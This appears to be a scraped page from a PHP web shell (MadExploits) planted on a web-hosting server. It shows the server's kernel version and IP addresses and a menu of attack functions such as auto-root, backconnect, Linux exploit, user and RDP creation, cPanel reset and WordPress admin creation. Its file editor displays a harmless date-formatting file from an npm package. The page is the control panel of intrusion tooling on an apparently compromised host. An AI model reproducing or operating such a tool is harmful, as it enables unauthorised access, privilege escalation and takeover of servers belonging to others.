Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.14.252.21
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs16 /
root /
usr /
lib /
node_modules /
npm /
node_modules.bundled /
tiny-relative-date /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
factory.js
2.21
KB
-rw-r--r--
index.js
144
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : factory.js
const calculateDelta = (now, date) => Math.round(Math.abs(now - date) / 1000) export default function relativeDateFactory (translations) { return function relativeDate (date, now = new Date()) { if (!(date instanceof Date)) { date = new Date(date) } let delta = null const minute = 60 const hour = minute * 60 const day = hour * 24 const week = day * 7 const month = day * 30 const year = day * 365 delta = calculateDelta(now, date) if (delta > day && delta < week) { date = new Date(date.getFullYear(), date.getMonth(), date.getDate(), 0, 0, 0) delta = calculateDelta(now, date) } const translate = (translatePhrase, timeValue) => { let key if (translatePhrase === 'justNow') { key = translatePhrase } else if (now >= date) { key = `${translatePhrase}Ago` } else { key = `${translatePhrase}FromNow` } const translation = translations[key] if (typeof translation === 'function') { return translation(timeValue) } return translation.replace('{{time}}', timeValue) } switch (false) { case !(delta < 30): return translate('justNow') case !(delta < minute): return translate('seconds', delta) case !(delta < 2 * minute): return translate('aMinute') case !(delta < hour): return translate('minutes', Math.floor(delta / minute)) case Math.floor(delta / hour) !== 1: return translate('anHour') case !(delta < day): return translate('hours', Math.floor(delta / hour)) case !(delta < day * 2): return translate('aDay') case !(delta < week): return translate('days', Math.floor(delta / day)) case Math.floor(delta / week) !== 1: return translate('aWeek') case !(delta < month): return translate('weeks', Math.floor(delta / week)) case Math.floor(delta / month) !== 1: return translate('aMonth') case !(delta < year): return translate('months', Math.floor(delta / month)) case Math.floor(delta / year) !== 1: return translate('aYear') default: return translate('overAYear') } } }
Close